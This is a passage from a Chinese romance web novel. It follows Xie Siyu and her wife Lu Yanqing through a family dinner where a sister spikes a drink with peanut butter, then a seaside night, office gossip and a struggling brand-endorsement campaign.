【思虞,麻烦你今天一定要带言卿来君悦酒店吃饭。】 【308包厢。】 当时她以为只是普通的饭局,没想到对方邀请的客人是陶菀之。 “在想什么?” 温热的呼吸突然贴近耳畔,谢思虞惊得差点把手机摔了。陆言卿不知何时已经站在她身后,正歪头看着她。 “没、没什么。” 谢思虞慌忙锁屏,微垂的长睫颤抖地厉害,惶惶不安下选择撒谎,“就是……胃有点不舒服。” 陆言卿闻言,眉头立刻皱了起来:“上午吃什么了?” “可能……是江助理买的冰美式?” 谢思虞声音越来越小,因为心虚一直低垂着头,根本不敢抬头看陆言卿的眼睛。 果然,陆言卿的表情变得微妙。 秘书部江晓晓今天生日,超级大方请32层的所有人喝咖啡。 就算她买了谢思虞那份……罢了。 没继续往下想,她掏出手机,直接拨通了电话:“妈,我和思虞临时有事,今天不过去了。” 电话那头传来陆母不满的声音,陆言卿却已经干脆利落地挂断,一把揽住谢思虞的腰往电梯间方向走:“先去医院。” 君悦酒店距离华康医院车程只有15分钟,等陆言卿把车停在负一楼车库,转头看向副驾驶的谢思虞。 却发现她睡着了? 熄了火,车内很安静。 谢思虞歪着头靠在座椅上,呼吸均匀,睫毛在眼下投下一小片阴影,看起来像是真的睡着了。 陆言卿伸手,轻轻推了推她的肩膀:“阿虞?醒醒?” 谢思虞没动,只是微微蹙眉,像是被打扰到一样,侧过身转向另一边继续“睡”。 陆言卿静默几秒,盯着她看了会儿,忽然低笑了一声。 ——装得还挺像。 她伸手,指尖轻轻拨开谢思虞脸颊边的碎发,指腹蹭过她的耳垂,果然触到一点微烫的温度。 “……” 陆言卿收回手,没再继续“叫”她,只是从后座拿过自己的外套,轻轻盖在谢思虞身上。 然后从谢思虞的包里翻出钱包,抽出身份证,动作很轻,生怕真的吵醒她。 睡觉是假的。 万一胃疼是真的呢? 她不敢赌。 医院门诊大厅人来人往,陆言卿拿着谢思虞的身份证挂号,排队时给秘书部江晓晓发了条消息。 等她从主治医生办公室拿着处方单出来,也收到了江晓晓的回复。 【陆总,谢副总上午没喝咖啡,她那份还在我桌上。】 【图片】 似乎是担心她不信,江晓晓还拍了张照片发过来。 陆言卿微微挑眉,指尖在屏幕上敲了敲,回复:【知道了。】 随后把几条聊天记录删掉,来到一楼大厅取药窗口,神色如常继续排队拿药,仿佛什么都没发生过。 很快陆言卿取了胃药,低头看了眼说明书,确认没什么刺激性成分,就是谢思虞之前吃的那款,才转身往回走。 路过医院便利店时,她脚步一顿,又进去买了瓶温热的牛奶。 等她回到车内,谢思虞还保持着刚才的姿势,呼吸绵长,仿佛睡得很“沉”。 陆言卿把药和牛奶放在中控台上,没立刻启动车子,而是侧头看了谢思虞一会儿,忽然倾身靠近。 “再不醒……” 她声音压得很低,带着点笑意,“我就要亲你了哦。” 谢思虞的睫毛颤了颤,下意识抓紧了安全带,但依旧没睁开眼。 陆言卿轻笑,也没拆穿她,只是坐回去,系好安全带启动车子,驶出车库。 刚来医院的路上,她看到附近有一家熟悉的私房菜,记忆中是没有的,可能是她“失踪”这三年,老板开的分店。 车停在一家老式院落改造的餐厅前,陆言卿解开安全带,转头看向还在“睡”的谢思虞。 “到了。”她伸手,指尖轻轻点了点谢思虞的鼻尖,“再睡,我就只能抱你进去了?” 谢思虞终于装不下去,慢吞吞地“醒”过来,揉了揉眼睛,故作茫然:“……到了?” 陆言卿似笑非笑地看着她,没戳破,只是把药和牛奶递过去,轻声问:“胃还疼吗?” 谢思虞接过牛奶,指尖碰到杯壁的温度,心里一软。 “……不疼了。” 她小声说。 陆言卿“嗯”了一声,伸手替她解开安全带:“那正好,下车吃点东西。” 谢思虞低头喝了口牛奶,温度刚好,温热不烫口。 其实她的演技很拙劣,可陆言卿却没有拆穿她,望着对方下车的背影,眼睑低垂,掩了眸底晦暗的目光。 她想,自己真的心机深沉。 陆言卿下车后绕过车头,来到副驾驶将车门打开,然她等了会儿,却见谢思虞低着头发呆。 一副魂不守舍的模样。 眼底划过一抹无奈,又带着点她都没有察觉的宠溺,把车门开到最大,弯腰俯身,半个身子探进车内。 一手托着谢思虞的后脑,一手撑着副驾的座椅,突然含住了她的唇瓣,趁她张嘴的间隙,舌尖深入其中,吮吸,勾缠,又松开。 总之,她压着谢思虞亲了许久。 直到怀里的人呼吸粗重,脸颊泛起不自然的绯色,那双温柔的眼眸更是浸染了朦胧的水意。 明显是情动的厉害。 陆言卿艰难地移开视线,下巴轻轻搁在谢思虞肩头,她在克制。 胸口上下起伏的厉害,并没有比某人好多少。 她怀疑自己是自作自受。 捏了捏谢思虞发烫的耳垂,哑声问:“还胡思乱想吗?” “我没有……” 谢思虞下意识辩驳,开口才意识到自己声音哑的不行,她竟然被陆言卿亲的浑身无力,想想都觉得羞人。 想要推开怀里的人,却被她搂抱的更紧,随即耳畔响起她认真的嗓音:“你有。” “谢思虞,昨天我就说过,如果遇到麻烦事,你可以直接跟我说。当然,如果你不愿意,我也不会强迫你。” “只是别自己一个人胡思乱想,懂吗?” 谢思虞愣愣地睁大双眼。 紧抿着唇没说话,只是死死攥紧了陆言卿的衣摆。 好半晌,才闷闷的出声:“我知道了。” 这是她偷来的甜蜜时光。 每一秒都格外珍惜- 晚上7点。 谢思虞和陆言卿准时出现谢家老宅,谢明远别提有多高兴,又吩咐厨房加两个热菜。 周静母女对谢思虞如何不满,当着陆言卿的面总要伪装一二。 拍了拍女儿的肩膀,笑着说:“你爸和你姐有事要商量,你陪陆总去客厅用茶点,晚饭马上就好。” 谢知瑶哪怕不情愿,也不敢在这种时候闹情绪:“陆总,这边请。” “周姨客气,叫我言卿就行。” 陆言卿跟着谢知瑶往沙发区走,回头看向谢思虞,无声张嘴:去忙你的吧。 二楼书房。 谢思虞知道谢知瑶什么德行,不想浪费时间,直接将一份文件递给谢父:“苏琳比苏蔓更符合Elis的定位。” 谢明远坐在办公桌前,翻看着资料,眉头渐渐舒展:“确实不错,就是知名度……比不上苏蔓。” 这句纯属废话。 苏蔓好歹是影后,而苏琳只是圈内三线艺人。 但Elis什么定位,他心里没数吗? 谢思虞耐着性子解释:“后面有她近两年的商业价值分析,虽然流量不如苏蔓,但粉丝黏性和路人缘都很好。” 谢明远翻到第四页的社交媒体截图:“确实,评论区都很正面。” 代言人的事确实棘手,虽然没有达到预期,但能找苏琳代言已经是最好的结果。 楼下客厅。 谢知瑶乖乖坐在角落剥橘子,橘瓣全部堆在盘子里也不吃,听母亲和陆言卿虚与委蛇,双方都说漂亮的场面话,挺没意思的。 可陆言卿话里话外对谢思虞的维护不假,这就让谢知瑶心里很不爽。 正巧视频插播了广告,她眼底露出一抹精光来。 端着装有橘瓣的果盘起身往厨房走,两名厨师都在忙碌,谢知瑶眨眨眼,拿出手机拨通了好友的电话。 晚上8点。 晚餐开始,谢思虞正要喝杯里的椰汁,厨房里周婶突然冲出来:“思虞小姐,椰汁里面有花生酱——” 霎那间,谢思虞脸色一白。 第一反应就是拿走陆言卿面前的杯子,紧接着来到谢知瑶面前,直接把椰汁泼在她昂贵的连衣裙上。 “啪!” 清脆的耳光声让整个客厅瞬间寂静。 谢知瑶捂着脸,不可置信地瞪大眼睛:“你疯了?这不是还没喝吗!” 陆言卿也愣了下,立即上前环住谢思虞颤抖的肩膀,在她耳边轻声安抚:“阿虞冷静点,我记得你对花生不过敏。” 谢思虞转身紧紧抓着陆言卿的衣服,眼睛猩红,近乎绝望道:“可你对花生过敏,陆言卿你对花生过敏啊——” 第32章 吻掉她眼角的泪水 这是第二次。 谢思虞在大庭广众下情绪失控。 陆言卿没想到她近乎绝望和崩溃的原因, 竟然是因为她对花生过敏—— 轻轻擦拭掉谢思虞眼角的泪水,可那眼泪像是断线的珍珠一样,越擦越多。 搂着谢思虞还在抑制不住轻颤的身体, 心疼的不行:“谢思虞你别哭了,我没事,真的没事。” 旁边谢知瑶捂着脸, 火辣辣的痛感让她一时忘了反应。 她怔怔地看着谢思虞,对方脸色苍白, 眼眶发红,哭的绝望又无助,手指紧紧攥着陆言卿的衣袖, 像是生怕她下一秒就会倒下。 ——原来对花生过敏的是陆言卿? 谢知瑶脑子嗡嗡作响, 她一直以为谢思虞才是那个不能碰花生的人。 高二那年,家里所有的花生制品突然消失, 她以为是谢思虞过敏,却没想到……是因为陆言卿? 所以高二她们就相识了? 但这也不对啊。 谢明远万万没想到会发生这样的事情,脸色铁青指着谢知瑶怒斥:“你真是被你妈惯得无法无天了!明知道思虞可能对花生过敏,你还敢做这种事?你到底想干什么!” 周静也是吓的不轻,曾经她看过一篇报道,过敏严重可能会导致人休克,连忙拽着谢知瑶的胳膊, 把她往陆言卿面前拉:“赶快道歉!” 谢知瑶被扯得踉跄了一下,也没时间去想那些有的没的, 抬头对上陆言卿冷淡的目光, 喉咙发紧, 倔强地不肯开口。 陆言卿轻柔地拍了拍谢思虞的背,安抚她冷静下来, 随后看向周静,语气平静带着讽刺:“周女士,这就是您教导的好女儿?三番五次对姐姐下手。别说她还小这种废话,她谢知瑶是什么巨婴吗?” 她又转向谢明远,声音不轻不重,却字字清晰:“谢总,您确实该好好管教谢知瑶了,今天没出事是万幸,万一哪天她在外面惹出更大的麻烦,可就来不及了。” 那晚在别人生日宴会上,谢知瑶也敢当众羞辱谢思虞,今晚更是拿过敏的事开玩笑,真是愚蠢至极! 谢明远脸色阴沉,上午通话中陆言卿还礼貌喊他一声爸,现在直呼他为谢总,可见真的动怒了。 扭头看向到此刻还不知悔改的小女儿,当真是胸闷不已,掏出手机拨通了助理的电话:“停掉谢知瑶所有的卡。” 谢知瑶猛地抬头:“爸!” “从今天起,你搬出去住。” 谢明远冷冷道,如果他再不摆明态度,才会真的寒了大女儿的心,更别说还有陆言卿看着,今晚这事儿没法轻拿轻放。 “别回家里碍眼,你什么时候反省好,什么时候再回来。” 周静慌了,因为丈夫动了真格:“明远,知瑶她只是一时糊涂……” 用力扯了扯女儿的袖子,示意她赶快道歉认错,可惜她傻愣在原地,除了哭就是委屈。 “你要是敢偷偷给她钱,就别认我这个丈夫。”谢明远打断她,语气不容反驳,“我谢家没有这种不知轻重的女儿。” 谢知瑶脸色煞白,无力跌坐在地上,终于意识到事情的严重性,可她张了张嘴,却一个字都说不出来。 谢思虞不想在看这场闹剧,迫切想要逃离这个令她窒息的地方,转头看到厨房门口站着手足无措的周婶,说了声谢谢。 随后拽了拽陆言卿的手:“我们走吧。” 陆言卿点头,牵着谢思虞往外走,快到玄关又回头看了一眼心神恍惚的谢知瑶,嗓音冷冽:“谢知瑶,你该庆幸今天这杯椰汁没被我喝下去。” “否则,就不是一巴掌能解决的了。” 夜风微凉。 回到车内谢思虞的手还在微微发抖,陆言卿眼中难掩担忧,握紧她的指尖,低声问:“还怕?” 谢思虞摇头,却又点头,声音闷闷的:“我怕你出事。” 那些被她埋藏在深处的记忆因谢知瑶愚蠢的行为,再次浮现在眼前。 这一刻,呼吸都变得格外艰涩。 陆言卿目光变得柔软,把人拉入怀里,轻柔地捏了捏她的手指:“放心,我命硬得很。” 高二那年她拿错了别人的水杯,没想到里面是花生牛奶,当时学校组织运动会,她报名800米还挤进了决赛,却因为这个小插曲和冠军失之交臂。 顿了顿,她又道:“不过,谢知瑶确实该吃点教训了。” 谢思虞没说话,只是靠在她怀里,轻轻“嗯”了一声。 耳畔是陆言卿扑通扑通的心跳声,呼吸时也能闻到她身上淡淡的山茶花味道,谢思虞闭了闭眼睛。 掩了眼底晦暗深邃的情绪。 还好,这一次她安然无恙。 陆言卿扫过车载显示屏上的时间,8:45分,想到什么拿起中控台上的手机,给滨海区别墅的沈姨发了条信息。 “我们先去吃饭,稍后带你去个地方。” 陆言卿扶着谢思虞坐好,顺便帮她把安全带系好。 二十分钟后。 榕城闹市区一家西餐厅。 一楼大厅靠近角落的餐桌,暖黄的灯光下,陆言卿将剥好的虾肉放进谢思虞碗里,顺手抽了张纸巾擦手。 “这家虾做得不错,你尝尝。” “谢谢,我自己来。” 谢思虞被陆言卿像是照顾小宝宝那样对待,不自在地眨眨眼,耳尖微微发烫,难为情极了。 其实现在她已经缓过来了,不需要这样无微不至的照顾。 刚要动筷,余光瞥见餐厅入口处一道高挑的身影——苏蔓穿着修身连衣裙,正和服务生说着什么,目光直直地望向她们这桌。 陆言卿察觉到谢思虞的目光,顺着看去,眉头微挑。 苏蔓也没想到晚上就碰到了陆言卿和谢思虞,想到中午和谢知瑶不欢而散,沉思片刻就朝她们走过去,偏偏这时手机突然响起。 她瞥了一眼来电显示,不耐烦地划开接听:“林姐?” 电话那头经纪人不知道说了什么,苏蔓眉头蹙了起来。 “什么?Elis签了苏琳?” 她突然失控的情绪,引得邻桌客人纷纷侧目,握着手机的指节因用力而发白,“什么时候的事?” 谢思虞低头夹起陆言卿为她剥的虾肉放进嘴巴里,细嚼慢咽,确实鲜美软嫩,又喝了口海鲜汤,唇角微不可察地弯了弯。 “卿卿,好巧啊。” 苏蔓挂断电话,停在陆言卿餐桌前,明明很愤怒,面上还是保持着微笑。 陆言卿淡定地切着牛排,刀叉与瓷盘轻碰:“苏小姐有事?哦,对了,以后别叫我卿卿,我妻子会介意。” 苏蔓愕然,下意识攥紧了手机,看向谢思虞语气不是很好:“谢副总动作真快。” “只是挑选了更符合Elis的品牌代言人而已。” 谢思虞礼尚往来帮陆言卿也剥了两只虾肉,抬眸看向苏蔓,语气平静,“况且苏小姐要的代言费太高了。” 陆言卿放下刀叉,金属碰撞声清脆,在谢思虞后面开口:“代言这种事,讲究你情我愿。” 停顿片刻又说,“还是苏小姐现在改变主意了?” 苏蔓被噎住,精致的妆容掩不住眼底的恼意。 她最后看了眼护着谢思虞的陆言卿,转身离开。 “她应该气得不轻。” 谢思虞小声说。 陆言卿重新拿起餐具,将切好的牛排推到她面前:“快吃吧。” 苏蔓是不是生气,跟她有什么关系呢? 现在她只在意谢思虞心情有没有好些。 晚上10点。 陆言卿开车来到滨海别墅区。 临近海边,空气中也隐约带着海水的咸涩味,谢思虞的裙摆被夜风吹得微微扬起。 她歪头问陆言卿:“怎么想要带我来这里?” 陆言卿抚了抚谢思虞额前被风吹乱的长发,将发丝别再她耳后,随口答:“一时兴起?” 其实不是,她是专程带她来海边散心的。 今晚谢思虞绝望流泪的模样,像是一根尖锐的刺,深深地扎在她心里。 她不喜欢她哭。 谢思虞还是笑起来好看。 “今晚就睡这边,我已经跟别墅的沈姨打过招呼了。” 陆言卿嘴角勾起淡淡的弧度,牵着谢思虞的手走在沙滩上,潮水漫上沙滩,又很快退去。 “冷吗?” 陆言卿突然捏了捏她微凉的指尖。 榕城马上进入3月份,但夜里,她们又在海边,温度明显要低一些的。 谢思虞轻轻摇头,夜风是凉,可她心里却前所未有的暖。 她又不傻,怎么会猜不到陆言卿带她来这里的原因呢? 目光落在远处:“这里比市区安静。” “嗯,二十岁生日时爷爷送的。” 陆言卿指向不远处亮着暖光的别墅,“说以后遇到烦心事,就来听听海浪声。” 谢思虞侧头看她:“别担心,我已经没事了。” 陆言卿忽然停下脚步,从口袋里摸出个乳白色的小贝壳:“刚才捡的。”她将贝壳放进谢思虞掌心,“很可爱吧?” 贝壳在路灯下泛着柔光,谢思虞怔了怔,突然笑出声:“是很可爱。” 跟你一样。 温柔的海浪声中,陆言卿的拇指轻轻摩挲谢思虞的手背,很认真很认真回答她刚才的话:“谢思虞,突然消失三年,我很抱歉,今后……我们慢慢来。” “我也会慢慢了解你。” 潮水再次漫上来。 谢思虞握紧掌心的贝壳,扭头看向一望无际的海面,眼眶莫名酸涩,极力克制,但眼泪还是无声滑落。 当年陆言卿误拿了她的饮水杯,就是喝了里面的花生牛奶,才导致过敏,最后休克被送往医院抢救。 九死一生。 那是谢知瑶的恶作剧。 而她也是罪魁祸首,如果那天她没有和朋友去六中看运动会,没有带那个饮水杯…… 陆言卿也就不会有那场无妄之灾。 所以,所以谢知瑶怎么敢,再次‘故技重施’。 谢思虞擦掉眼角的泪水,瞳仁里泠冽的目光褪去,取而代之是无尽的后悔与自责。 侧过身抱住陆言卿,头埋在她的颈窝里,尾音带颤:“陆言卿,对不起。” 当年的她太懦弱,就连站在陆言卿面前道歉的勇气都没有。 “嗯?” 谢思虞干嘛突然跟她道歉? 陆言卿温柔的眼眸里闪过迷茫,然直到回别墅,她也没有等到谢思虞的解释- 凌晨3:22分。 滨海别墅主卧。 陆言卿在睡梦中隐约听到有人哭泣,她立刻清醒过来,明显感觉怀里抱着的人在颤抖。 借着窗外的月光,看见谢思虞眉头紧锁,额前的碎发已经被冷汗打湿,黏在苍白的脸颊上。 “阿虞?” 她轻声唤道,手掌轻轻拍着谢思虞的后背,“醒醒,只是梦而已。” 谢思虞猛地睁开眼睛,瞳孔还带着未散的焦急不安。 她的呼吸短而急,手指无意识地攥紧了陆言卿身上的睡衣。 “对不起……” 她的声音嘶哑得不像话,像是渴了好几日的样子。 陆言卿没有急着追问,只是用指腹拨开她脸上被汗水浸湿的发丝:“做噩梦而已,说什么对不起?” 谢思虞摇摇头,她不能说,也不敢说,把脸深深埋进陆言卿的肩窝。 温热的泪水很快浸透了睡衣的布料,陆言卿清晰感受到怀中人细微的颤栗。 她没有再问,只是将手臂收紧了些,另一只手有一下没一下地抚着谢思虞的长发,像安抚受惊的小动物。 房间里很安静,只能听到她们的呼吸声,此起彼伏暧昧交织在一起。 陆言卿的指尖轻轻描摹着谢思虞后背的轮廓,过了许久,谢思虞呼吸逐渐平稳。 陆言卿才松开她,起身前往浴室,温热的水流浸湿了毛巾,她拧干时才发现自己的手也在微微发抖。 返回床边,谢思虞已经坐起身来。 她的脸色依然苍白,但眼神已经清明许多。 “好些了吗?” 陆言卿轻声问道,温热的毛巾轻轻擦拭她额头上残留的冷汗。 谢思虞点点头,目光低垂。 陆言卿注意到她的指尖还在无意识地揪着被角,指节泛白。 “如果睡不着,要不要去别墅顶楼透透气?” 陆言卿看了眼窗外皎洁的月光,伸手拿过床头柜上的保温杯,拧开杯盖才递给谢思虞,“喝口温水?” “好。” 谢思虞接过水杯,温热的水汽氤氲而上,模糊了她的表情。 陆言卿站在床边静静等待,没有催促,直到谢思虞喝完水,她才重新拧紧了保温杯的盖子。 打开床头的台灯,走向衣帽间,找了两件长款的羊绒大衣。 “穿好,可不能吹感冒了。” 陆言卿将羊绒大衣披在谢思虞肩上,仔细地拢好衣领。 夜风有些凉,她顺势握住谢思虞的手揣进口袋里。 “嗯。” 谢思虞指尖在温暖的口袋里轻轻蜷缩,看向陆言卿的目光很复杂。 好几次张了张嘴,依然没有勇气坦白。 顶楼的视野很开阔,远处海面上的月光碎成银色的光点,随着波浪轻轻晃动。 她们并肩站在栏杆前,谁都没有说话。 陆言卿无意识摩挲无名指上的婚戒,望着海平面也不知道在想什么。 “阿虞。” 陆言卿突然转身面对谢思虞,夜风吹乱了她额前的碎发,“你能不能吻我?” 谢思虞怔住,下意识抓紧了口袋里的衣料:“……嗯?” 陆言卿又往谢思虞靠近了半步,笑着把手伸进她的口袋里,很快十指相扣:“我想让你吻我,可以吗?” 暖黄色路灯下,谢思虞的耳尖以肉眼可见的速度红了起来。 当下也忘记了愧疚自责,她抿了抿唇,目光飘向别处又转回来,最终轻轻点头。 陆言卿耐心地等着,看着谢思虞慢慢凑近,她的睫毛上下轻颤,在脸颊投下细小的阴影。 当温软的唇瓣贴上来时,陆言卿能感觉到她的紧张。 这个吻很轻,像一片羽毛拂过。 “好,好了吗?” 谢思虞羞赧地低下头,心跳再次变得紊乱无序。 这次不是慌乱害怕,而是害羞紧张。 陆言卿轻轻捏了捏谢思虞的指尖,目光温柔似水,笑着摇头:“还不够。” 谢思虞闻言,卷翘的长睫颤的更厉害了。 陆言卿知道谢思虞害羞,但就是不肯放过她,另一只手揉了揉她柔软的发顶,开口嗓音带着鼓励:“像我之前在车里吻你那样。” “可是我……” 谢思虞抬眸撞进陆言卿含笑的目光里,被她这般专注的注视着,又或许是今晚的陆言卿太温柔体贴,她闭上眼睛再次凑上前。 学着她亲自己时的动作,用湿漉漉的舌尖描绘对方唇型,后又吮吸含咬,她从未对谁做过这些,第一次难免不知轻重。 “嘶……” 谢思虞贝齿磕到她的唇瓣,陆言卿疼的倒吸一口凉气。 “对不起,我……” 谢思虞眼底闪过慌乱,刚要退开,后腰就被陆言卿揽住。 “干嘛总是道歉,我又没有怪你。” 捏了捏谢思虞腰间的软肉,陆言卿先是亲了亲她还微微泛红的眼睛,最后才含住她的唇瓣。 这次她吻的很温柔,也吻了很长时间。 分开时,谢思虞的呼吸很乱。 陆言卿用鼻尖蹭了蹭她发烫的脸颊:“学会了吗?” 谢思虞把脸埋在她肩上,害羞地嗯了一声。 陆言卿笑着收紧手臂,大衣的布料发出细微的摩擦声。 远处的灯塔扫过一束光,照亮了她们交叠的身影,又慢慢移开。 “谢思虞,如果让你担忧害怕的事跟我有关,那我原谅你了。” 陆言卿说完,明显感觉到谢思虞紧绷的身体,眼底划过无奈和心疼。 所以,她真的猜对了? 晚上在谢家老宅,谢思虞因为一杯加了花生酱的椰汁,当着谢父和周女士的面打了谢知瑶一巴掌。 海边散步她看似无意识的道歉,甚至做噩梦惊醒,睁开眼看到她第一句话也是对不起。 谢思虞抬起头,眼眶又有晶莹的泪水在打转。她愣愣地看着陆言卿,似乎想要确认什么,最终只是轻轻“嗯”了一声。 陆言卿没有追问那个梦的细节,也没有问谢思虞为什么道歉。 “走吧,下楼睡觉。” 记忆中她吃花生过敏也就只有两次,第一次她年龄太小,事后爷爷告诉她不能吃花生,会过敏。 还有就是高二那年。 但她和谢思虞相差两岁,也不在同一所高中念书。 那个饮水杯不太可能是谢思虞的。 况且在爷爷给她看谢思虞照片之前,她并不认识她。 两人回到二楼主卧。 陆言卿重新躺下,将谢思虞拉进怀里:“距离天亮还早,睡吧。” 谢思虞在陆言卿怀中找到一个舒适的位置,额头抵着她的肩膀。 心绪复杂又难捱,想坦白又不敢赌,只能沉默。 她想,再等一等。 不会很长时间的。 光线昏暗的房间,陆言卿没有半分睡意,时间一分一秒过去,直到怀里谢思虞的呼吸渐渐变得绵长,紧绷的身体也慢慢放松下来。 她轻轻吻了吻她的发顶,才慢慢闭上了眼睛- 次日上午10:15 。 陆氏集团员工群,陆言卿一则请事假的消息,如同引发了山洪。 群内直接炸了。 【[震惊]谢副总居然请假了??? 】 【三年了,谢副总第一次请假,还是陆总亲自批的! 】 【@人事-小张,上周你拒绝批我的请假条,还言之凿凿说谢副总就从来不请假。呵呵~】 【[瑟瑟发抖]我哪知道啊!陆总在群里发的那条“谢副总今日事假”我都怀疑自己眼花了! 】 【所有谢副总到底怎么了?莫非是生病了?也不对啊,之前她胃出血都没住院几天。】 总裁办公室。 群内消息还在不断叠加,沈砚清正在向陆言卿申请经费,主要西郊店商场即将开展的联名活动,需要找一部分兼职的大学生。 瞄了眼群里的内容,整理了下头发,不经意问:“陆总,谢副总今天不来?” 陆言卿扫了一眼文件,确定没问题便在上面签字:“嗯,她昨晚没睡好。” 沈砚清哑然。 为了维持高冷形象,强行忍住没继续往下问,拿着文件夹就匆忙离开了办公室。 电梯间。 她摸出手机给谢思虞发消息:「我的乖乖,昨晚你和陆总战况是有多激烈,今天腿软的下不来床?」 「你们这进展确实够快哈。」 「震惊脸」 「震惊脸x666」 还在海滨别墅补觉的谢思虞,确实是被微信提示音吵醒的,因为某人给她发了无数条震惊的表情包。 “无聊。” 看完沈砚清的虎狼之词,谢思虞没搭理她,看到群内消息99+,好奇打开一看。 结果仍手机都来不及。 两分钟后。 谢思虞红着脸给陆言卿打电话。 她还没控诉,听筒里就传来对方温柔的声音:「醒了?饿不饿?」 “我请假,你非要亲自发群里?私下跟沈砚清说一声就好了嘛。现在全公司都在猜我们昨晚干什么了。” 「冤枉,我真的没说什么。」 那头陆言卿原本还理直气壮,可能想起来什么,声音低了几度,「你确实没睡好嘛,所以,沈总监又调侃你了?」 谢思虞揉了揉眉心,穿着拖鞋下床:“她私下就那样。” 「那我下次注意。」 「衣帽间衣服都是我的尺寸,我让沈姨准备了几套新的,可能放在外面了。」 「醒了就下楼吃点东西,不然胃又难受。」 浴室。 洗手池前,谢思虞打开水龙头,听到陆言卿说最后一句话时,嗓音透着若有若无的笑意。 昨天装胃疼的事浮现眼前,难为情咬紧了下嘴唇:“知道了。” 「乖。」 「沈姨厨艺不错的,你中午多吃点。」 陆氏。 陆言卿看了眼办公桌上推积如山需要她确定签字的文件,没有和谢思虞多聊。 等商城品牌联名活动结束,她要带谢思虞出去散散心。 因为她发现总喜欢把“没事”两个字挂在嘴边的谢思虞,其实内心很敏感,还喜欢胡思乱想。 公司群里,关于“谢副总为何请假”的讨论已经衍生出八个版本。 陆言卿往群里发了200个红包,并标注了“好好工作”四个字。 瞬间众人相当默契,乖乖领取红包,不再议论半个字。 中午12:10。 陆言卿保存文档后关掉了电脑,揉了揉发酸的脖颈。她刚站起身,办公室的门就被轻轻推开。 谢思虞拎着两个保温桶走进来,黑色大衣衬得她肤色愈发白皙。 她将保温桶放在茶几上,动作轻巧地打开盖子,热气裹着饭菜香瞬间溢满整个房间。 “怎么过来了?” 陆言卿走过去,指尖自然地拂过她的手腕,“不是让你在别墅好好休息?” 谢思虞没回答,只是将饭菜一样样取出——清炒时蔬、凉拌木耳、山药玉米汤,还有一碟金黄酥脆的炸排骨。 “你说沈姨做饭好吃,”她把筷子递给陆言卿,“我以为你会想尝尝。” 陆言卿接过筷子坐在沙发上,目光在几道菜上转了一圈:“你吃过了?” “嗯。” 谢思虞在陆言卿对面坐下,双腿交叠,手肘支在膝盖上托着下巴,“这些是专门给你带的。” 陆言卿夹起一块排骨咬了一口,酥脆的外皮发出轻微的“咔嚓”声。 她咀嚼的动作突然顿住,抬眼看向谢思虞:“排骨是你做的?” 谢思虞眼睛微微弯起:“很明显?” “沈姨炸排骨喜欢往里面加少量的薄荷叶。” 这样炸出来的排骨带有薄荷的清香,陆言卿又咬了一口,细细品味,“这个并没有,但也很好吃。” 阳光透过落地窗照进来。 谢思虞伸手将汤碗往陆言卿面前推了推:“就做了这一道,其他都是沈姨做的。” 陆言卿突然放下筷子,倾身向前,她的指尖擦过谢思虞的嘴角:“面粉。” 谢思虞一愣,下意识要去擦,却被陆言卿握住手腕。 “骗你的。” 陆言卿低笑,拇指在她腕间轻轻摩挲,“阿虞今天很漂亮。” 落地窗外阳光明媚。 办公室里,排骨的香气混合着淡淡的茶香。 谢思虞看着陆言卿专注吃饭的侧脸,迫切希望—— 这样安宁美好的时光,能维持的久一点。 时间一晃过去三天。 谢知瑶被谢父停掉了所有的卡,微信只剩下2万块零钱。 Elis总裁办公室。 谢知瑶站在父亲办公桌前,指尖死死掐着掌心,强忍着没哭。 她这几天住在母亲名下的一所公寓里,每天通勤时间差不多50分钟。 不敢出去吃饭,一日三餐都在公司解决,她以为这就是父亲对她的惩罚。 万万没想到他竟然要调她去T市。 “T市分公司设计总监离职,你去正合适。” 谢明远头也不抬地翻着文件,语气不容置疑。 谢知瑶以前是不太聪明,也许是谢思虞那一巴掌把她打醒了,她察觉到父亲的态度,没发脾气,而是平静反驳:“T市离榕城一千多公里,您这是要赶我走?” 谢明远终于抬起头,眼神锐利:“赶你走?” 他将钢笔重重搁在桌上,“要不是看在你是我女儿的份上,你现在连T市都没得去!” 谢知瑶眼眶发红:“我知道错了……” 她故意将花生酱仍在厨房垃圾桶,不就是算到周婶看到会提醒谢思虞吗? 谁能想到对花生过敏的人是陆言卿! “知道错?”谢明远冷笑,“你往椰汁里加花生酱的时候,怎么不想想后果?” 窗外阳光刺眼,谢知瑶却觉得浑身发冷。 以前她做错事,父亲顶多骂她几句,像这般无情赶她离开榕城,是头一次。 心里面不可能不委屈。 T市分公司虽然挂着谢氏的名头,但天高皇帝远,那边的员工未必会把她这个“谢家大小姐”放在眼里。 没有父亲的庇护,没有母亲暗中的打点,她算什么? “今晚8点的飞机。” 谢明远重新拿起钢笔,“司机会送你去机场。” 谢知瑶的眼泪终于掉下来:“爸……” “出去。”谢明远不再看她。 谢知瑶知道事情没有转圜的余地,擦掉脸上的泪水,转身冲出办公室。走廊上的员工纷纷低头避让,没人敢在这个时候触霉头。 等脚步声远去,谢明远才拿起手机,拨通了谢思虞的电话。 “已经安排好了。” 他望着窗外的城市天际线,“真的……不能让陆总再通融通融吗?” 电话那头沉默片刻,传来谢思虞平静的声音:“这是我的主意。” “爸,谢知瑶需要磨磨性子,您说呢?” 挂断电话后,谢明远揉了揉太阳穴,那晚陆言卿离开时警告小女儿的话还犹在耳际,他只能狠下心肠。 办公桌上,T市分公司发来的季度报告还摊开着——连续两个季度亏损,设计部和销售部总监纷纷离职。 他合上文件,重重叹了口气。 当谢知瑶抵达T市分公司就会知道,那里没有榕城总部的豪华装修,没有前呼后拥的员工,甚至没有一杯像样的咖啡。 自然也能想明白,谢父派她去T市,不是升职。 而是流放- 3月1日-7日。 是陆氏集团双栖云境西郊店商场举办品牌联名活动的时间。 活动期间,商场中庭人来人往,品牌联名活动的巨幅海报在灯光下格外醒目。 Elis的展位占据了最好的位置——正对主入口,旁边就是当红奶茶品牌的快闪店,客流量极大。 然而展台前却门可罗雀。 几名店员站在柜台后,脸上的笑容已经有些僵硬。 路过的人群偶尔驻足,翻看几件衣服的吊牌,又摇摇头离开。 Elis公司。 孙晓月将销售报表双手递给谢明远,声音发紧:“谢总,这三天线上线下销售额加起来还不到预期的30%……” 谢明远盯着报表上刺眼的数字,眉头紧锁:“确定传回的数据真实吗?” 商场活动第一天,他去现场看了,谢思虞确实给Elis安排了最好的展位。 “苏琳毕竟是三线艺人,影响力不如苏蔓……” 孙晓月硬着头皮解释,只能找好听的话说,“但她的形象确实更符合品牌调性……” 谢明远冷笑一声,将报表重重拍在桌上。 他想起被"发配"到T市的小女儿,想起妻子这些天的冷言冷语,更想起谢思虞当初信誓旦旦的保证—— 【苏琳更适合Elis的品牌定位】 